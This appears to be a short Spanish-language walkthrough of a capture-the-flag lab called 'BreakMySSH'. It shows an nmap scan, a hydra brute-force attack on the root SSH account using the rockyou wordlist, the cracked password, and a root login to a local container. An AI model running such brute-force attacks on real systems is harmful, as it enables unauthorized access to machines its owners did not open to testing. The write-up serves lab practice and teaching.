BreakMySSH

Intrusión

Lo primero que haremos será comprobar si tenemos conectividad haciendo un ping. Como tenemos conectividad enumeraremos puertos con el comando nmap -p- -sS -sC -sV -- min-rate 5000 -n -vvv -Pn 172.17.0.2 -oN fastScan.

Como podemos ver solo está abierto el puerto **22** así que probaremos a hacer fuerza bruta al usuario root con el comando hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2.

```
) hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, aws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-03 16:30:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: root password: estrella
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-03 16:30:50
```

Como vemos encuentra la contraseña así que entramos por ssh.

```
> ssh root@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:U6y+etRI+fVmMxDTwFTSDrZCoIl2xG/Ur/6R0cQMamQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
root@172.17.0.2's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@4cb52d2c50d6:~# whoami
root
root@4cb52d2c50d6:~# |
```

Como hemos entrado directamente como root no tendremos que escalar privilegios.